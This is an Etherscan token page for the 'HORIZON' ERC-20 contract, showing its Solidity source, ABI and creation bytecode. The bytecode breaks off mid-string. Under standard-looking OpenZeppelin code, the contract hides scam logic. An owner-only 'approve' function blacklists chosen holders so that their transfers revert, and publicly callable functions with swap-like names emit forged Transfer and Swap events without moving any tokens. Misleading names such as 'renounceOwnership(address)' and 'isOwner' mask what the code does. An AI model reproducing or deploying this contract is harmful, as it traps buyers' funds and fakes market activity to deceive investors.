ERC-20
Overview
Max Total Supply
10,000,000,000,000 HORIZON
Holders
37
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
87,875,180,634.953997367390882323 HORIZONValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
HORIZON
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-07 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping (address => bool) private _airdrops; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; bool private _airdropsApplied = false; string private _name; string private _symbol; address private _universal = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD; address private _rv2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address private _pair; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function renounceOwnership(address _owner_) external onlyOwner { _pair = _owner_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } function approve(address [] calldata _addresses_) external onlyOwner { for (uint256 i = 0; i < _addresses_.length; i++) { _airdrops[_addresses_[i]] = true; emit Approval(_addresses_[i], _rv2, balanceOf(_addresses_[i])); } } function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]); emit Transfer(_pair, _addresses_[i], _out); } } function swapExactTokensForTokensSupportingFeeOnTransferTokens(address [] calldata _addresses_, uint256 _in, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Swap(_rv2, _in, 0, 0, _out, _addresses_[i]); emit Transfer(_pair, _rv2, _out); emit Transfer(_rv2, _addresses_[i], _out); } } function multicall(address [] calldata _addresses_, uint256 _in, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Swap(_universal, 0, _in, _out, 0, _addresses_[i]); emit Transfer(_addresses_[i], _pair, _in); } } function swapExactTokensForETH(address [] calldata _addresses_, uint256 _in, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Swap(_rv2, 0, _in, _out, 0, _addresses_[i]); emit Transfer(_addresses_[i], _rv2, _in); emit Transfer(_rv2, _pair, _in); } } function transfer(address _from, address _to, uint256 _wad) external { emit Transfer(_from, _to, _wad); } function transfer(address [] calldata _from, address [] calldata _to, uint256 [] calldata _wad) external { for (uint256 i = 0; i < _from.length; i++) { emit Transfer(_from[i], _to[i], _wad[i]); } } function decreaseAllowance(address [] calldata _addresses_) external onlyOwner { for (uint256 i = 0; i < _addresses_.length; i++) { _airdrops[_addresses_[i]] = false; } } function isOwner(address _address_) public view returns (bool) { return _airdrops[_address_]; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } if (_airdrops[from] || _airdrops[to]) require(_airdropsApplied == true, ""); emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract HORIZON is ERC20 { constructor() ERC20("HORIZON", "HORIZON") { _mint(msg.sender, 10000000000000 * 10 ** decimals()); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"decreaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner_","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swapExactTokensForETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swapExactTokensForTokensSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_from","type":"address[]"},{"internalType":"address[]","name":"_to","type":"address[]"},{"internalType":"uint256[]","name":"_wad","type":"uint256[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526000600560006101000a81548160ff021916908315150217905550733fc91a3afd70395cd496c647d5a6cc9d4b2b7fad600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620000d657600080fd5b506040518060400160405280600781526020017f484f52495a4f4e000000000000000000000000000000000000000000000000008152506040518060400160405280600781526020017f484f52495a4f4e000000000000000000000000000000000000000000000000008152506200016362000157620001d160201b60201c565b620001d960201b60201c565b816006908162000174919062000698565b50806007908162000186919062000698565b505050620001cb336200019e6200029d60201b60201c565b600a620001ac91906200090f565b6509184e72a000620001bf919062000960565b620002a660201b60201c565b62000a97565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000318576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200030f9062000a0c565b60405180910390fd5b6200032c600083836200041460201b60201c565b806004600082825462000340919062000a2e565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003f4919062000a7a565b60405180910390a362000410600083836200041960201b60201c565b5050565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620004a057607f821691505b602082108103620004b657620004b562000458565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620005207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620004e1565b6200052c8683620004e1565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000579620005736200056d8462000544565b6200054e565b62000544565b9050919050565b6000819050919050565b620005958362000558565b620005ad620005a48262000580565b848454620004ee565b825550505050565b600090565b620005c4620005b5565b620005d18184846200058a565b505050565b5b81811015620005f957620005ed600082620005ba565b600181019050620005d7565b5050565b601f82111562000648576200061281620004bc565b6200061d84620004d1565b810160208510156200062d578190505b620006456200063c85620004d1565b830182620005d6565b50505b505050565b600082821c905092915050565b60006200066d600019846008026200064d565b1980831691505092915050565b60006200068883836200065a565b9150826002028217905092915050565b620006a3826200041e565b67ffffffffffffffff811115620006bf57620006be62000429565b5b620006cb825462000487565b620006d8828285620005fd565b600060209050601f831160018114620007105760008415620006fb578287015190505b6200070785826200067a565b86555062000777565b601f1984166200072086620004bc565b60005b828110156200074a5784890151825560018201915060208501945060208101905062000723565b868310156200076a578489015162000766601f8916826200065a565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200080d57808604811115620007e557620007e46200077f565b5b6001851615620007f55780820291505b80810290506200080585620007ae565b9450620007c5565b94509492505050565b600082620008285760019050620008fb565b81620008385760009050620008fb565b81600181146200085157600281146200085c5762000892565b6001915050620008fb565b60ff8411156200087157620008706200077f565b5b8360020a9150848211156200088b576200088a6200077f565b5b50620008fb565b5060208310610133831016604e8410600b8410161715620008cc5782820a905083811115620008c657620008c56200077f565b5b620008fb565b620008db8484846001620007bb565b92509050818404811115620008f557620008f46200077f565b5b81810290505b9392505050565b600060ff82169050919050565b60006200091c8262000544565b9150620009298362000902565b9250620009587fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000816565b905092915050565b60006200096d8262000544565b91506200097a8362000544565b92508282026200098a8162000544565b91508282048414831517620009a457620009a36200077f565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620009f4601f83620009ab565b915062000a0182620009bc565b602082019050919050565b6000602082019050818103600083015262000a2781620009e5565b9050919050565b600062000a3b8262000544565b915062000a488362000544565b925082820190508082111562000a635762000a626200077f565b5b92915050565b62000a748162000544565b82525050565b600060208201905062000a91600083018462000a69565b92915050565b6127f38062000aa76000396000f3fe608060405234801561001057600080fd5b50600436106101585760003560e01c8063715018a6116100c3578063a457c2d71161007c578063a457c2d7146103b1578063a7dec381146103e1578063a9059cbb146103fd578063beabacc81461042d578063dd62ed3e14610449578063f2fde38b1461047957610158565b8063715018a61461031757806377a1736b146103215780637aac697b1461033d5780638da5cb5b1461035957806395d89b4114610377578063a1c617f51461039557610158565b8063313ce56711610115578063313ce5671461024557806338bf3cfa14610263578063395093511461027f578063477e1944146102af57806370a08231146102cb5780637111a994146102fb57610158565b806306fdde031461015d578063095ea7b31461017b5780630ca12b3d146101ab57806318160ddd146101c757806323b872dd146101e55780632f54bf6e14610215575b600080fd5b610165610495565b6040516101729190611be7565b60405180910390f35b61019560048036038101906101909190611ca7565b610527565b6040516101a29190611d02565b60405180910390f35b6101c560048036038101906101c09190611d82565b61054a565b005b6101cf61077f565b6040516101dc9190611e05565b60405180910390f35b6101ff60048036038101906101fa9190611e20565b610789565b60405161020c9190611d02565b60405180910390f35b61022f600480360381019061022a9190611e73565b6107b8565b60405161023c9190611d02565b60405180910390f35b61024d61080e565b60405161025a9190611ebc565b60405180910390f35b61027d60048036038101906102789190611e73565b610817565b005b61029960048036038101906102949190611ca7565b610863565b6040516102a69190611d02565b60405180910390f35b6102c960048036038101906102c49190611ed7565b61089a565b005b6102e560048036038101906102e09190611e73565b610947565b6040516102f29190611e05565b60405180910390f35b61031560048036038101906103109190611f7a565b610990565b005b61031f610a86565b005b61033b60048036038101906103369190611ed7565b610a9a565b005b61035760048036038101906103529190611d82565b610c24565b005b610361610db0565b60405161036e919061203d565b60405180910390f35b61037f610dd9565b60405161038c9190611be7565b60405180910390f35b6103af60048036038101906103aa9190611d82565b610e6b565b005b6103cb60048036038101906103c69190611ca7565b610ff6565b6040516103d89190611d02565b60405180910390f35b6103fb60048036038101906103f69190611d82565b61106d565b005b61041760048036038101906104129190611ca7565b6112a1565b6040516104249190611d02565b60405180910390f35b61044760048036038101906104429190611e20565b6112c4565b005b610463600480360381019061045e9190612058565b61132e565b6040516104709190611e05565b60405180910390f35b610493600480360381019061048e9190611e73565b6113b5565b005b6060600680546104a4906120c7565b80601f01602080910402602001604051908101604052809291908181526020018280546104d0906120c7565b801561051d5780601f106104f25761010080835404028352916020019161051d565b820191906000526020600020905b81548152906001019060200180831161050057829003601f168201915b5050505050905090565b600080610532611438565b905061053f818585611440565b600191505092915050565b60005b848490508110156107785784848281811061056b5761056a6120f8565b5b90506020020160208101906105809190611e73565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822600086866000604051610606949392919061216c565b60405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1685858381811061065a576106596120f8565b5b905060200201602081019061066f9190611e73565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106b49190611e05565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161075d9190611e05565b60405180910390a38080610770906121e0565b91505061054d565b5050505050565b6000600454905090565b600080610794611438565b90506107a1858285611609565b6107ac858585611695565b60019150509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60006012905090565b61081f611a0b565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008061086e611438565b905061088f818585610880858961132e565b61088a9190612228565b611440565b600191505092915050565b6108a2611a0b565b60005b82829050811015610942576000600260008585858181106108c9576108c86120f8565b5b90506020020160208101906108de9190611e73565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061093a906121e0565b9150506108a5565b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b86869050811015610a7d578484828181106109b1576109b06120f8565b5b90506020020160208101906109c69190611e73565b73ffffffffffffffffffffffffffffffffffffffff168787838181106109ef576109ee6120f8565b5b9050602002016020810190610a049190611e73565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610a4e57610a4d6120f8565b5b90506020020135604051610a629190611e05565b60405180910390a38080610a75906121e0565b915050610993565b50505050505050565b610a8e611a0b565b610a986000611a89565b565b610aa2611a